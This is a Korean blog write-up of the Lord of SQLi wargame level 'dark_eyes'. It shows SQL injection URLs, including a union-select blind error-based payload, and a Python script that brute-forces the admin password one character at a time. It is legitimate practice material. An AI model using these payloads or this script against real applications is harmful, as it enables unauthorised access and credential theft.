22. LOS - dark_eyes

2021. 2. 3. 10:13WarGame/LOS

바로 전에 error based가 나왔는데 이번에 if 와 같은 조건문들이 모두 막혀있어서 깜짝 놀랐습니다.

https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=12%27or%271=1%27%20--%20-

참이 나오면

이렇게 나오지만, 쿼리가 거짓이 나오게 되면

아무것도 나오지 않아서 blind error based로 볼 수 있지만 조건문들이 모두 벤먹어서 어떻게 풀어야할지 고민했습니다.

이전에서 select 1 union select 1 구문을 그냥 if문 조건 없이 바로 박으면 되지 않을까 생각했고.

https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=1%27%20or%20%20id%20=%20%27admin%27%20and%20(select%201%20union%20select%20(length(pw)=8))--%20-

해당 쿼리를 사용해서 문자열의 길이가 8인 것을 확인했습니다.

수정해서 매크로로 만들어서 8자리의 비번을 모두 확인했고,

import requests
import string


num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': '41dujejs6ln5lnj8ni9p7ik5bb'}
#https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or%20substr(pw,1,1)%20=%20%22a%22--%20-
key = ""
print(num_alpa)
for i in range(1, 9) :
    for j in num_alpa :
        URL = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=1%27%20or%20%20id%20=%20%27admin%27%20and%20(select%201%20union%20select%20(substr(pw,"+str(i)+",1)=\'"+str(j)+"\'))-- -"
        response = requests.get(URL, cookies=cookies)
        if "select" in response.text :
            print(URL)
            key += j
            print("[" + str(i) + "]th password :  " + j)
            break;
print(key)

 

 

 

중간에 괄호 대문에 조금 애먹어서 삽질했습니다 ㅠㅠ

 

이렇게 입력하면

 

솔브가 가능합니당

 

'WarGame > LOS' 카테고리의 다른 글

21. LOS - IRON_GOLEN  (0) 2021.02.02
20. LOS - DRAGON  (0) 2021.02.01
19. LOS - XAVIS  (0) 2021.01.31
18. LOS - NIGHTMARE  (0) 2021.01.30
17. LOS - zombie_assassin  (0) 2021.01.30